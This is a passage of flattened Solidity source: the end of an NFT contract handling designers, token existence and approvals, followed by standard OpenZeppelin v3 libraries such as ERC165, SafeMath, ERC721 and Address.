Clean up designer mapping delete creators[_tokenId]; delete primarySalePrice[_tokenId]; } function _extractIncomingTokenId() internal pure returns (uint256) { // Extract out the embedded token ID from the sender uint256 _receiverTokenId; uint256 _index = msg.data.length - 32; assembly { _receiverTokenId := calldataload(_index) } return _receiverTokenId; } ///////////////// // View Methods / ///////////////// /** @notice View method for checking whether a token has been minted @param _tokenId ID of the token being checked */ function exists(uint256 _tokenId) external view returns (bool) { return _exists(_tokenId); } /** * @dev checks the given token ID is approved either for all or the single token ID */ function isApproved(uint256 _tokenId, address _operator) public view returns (bool) { return isApprovedForAll(ownerOf(_tokenId), _operator) || getApproved(_tokenId) == _operator; } ///////////////////////// // Internal and Private / ///////////////////////// /** @notice Checks that the URI is not empty and the designer is a real address @param _tokenUri URI supplied on minting @param _designer Address supplied on minting */ function _assertMintingParamsValid( string calldata _tokenUri, address _designer ) internal pure { require( bytes(_tokenUri).length > 0, "_assertMintingParamsValid: Token URI is empty" ); require( _designer != address(0), "_assertMintingParamsValid: Designer is zero address" ); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./IERC721.sol"; import "./IERC721Metadata.sol"; import "./IERC721Enumerable.sol"; import "./IERC721Receiver.sol"; import "../../introspection/ERC165.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; import "../../utils/EnumerableSet.sol"; import "../../utils/EnumerableMap.sol"; import "../../utils/Strings.sol"; /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from holder address to their (enumerable) set of owned tokens mapping (address => EnumerableSet.UintSet) private _holderTokens; // Enumerable mapping from token ids to their owners EnumerableMap.UintToAddressMap private _tokenOwners; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping (uint256 => string) private _tokenURIs; // Base URI string private _baseURI; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _holderTokens[owner].length(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(base, tokenId.toString())); } /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a prefix in {tokenURI} to each token's URI, or * to the token ID if no specific URI is set for that token ID. */ function baseURI() public view virtual returns (string memory) { return _baseURI; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { return _holderTokens[owner].at(index); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds return _tokenOwners.length(); } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _tokenOwners.contains(tokenId); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: d* * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); // internal owner _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}, * or to the token ID if {tokenURI} is empty. */ function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } /** * @dev Approve `to` to operate on `tokenId` * * Emits an {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "../../introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "./IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "./IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides 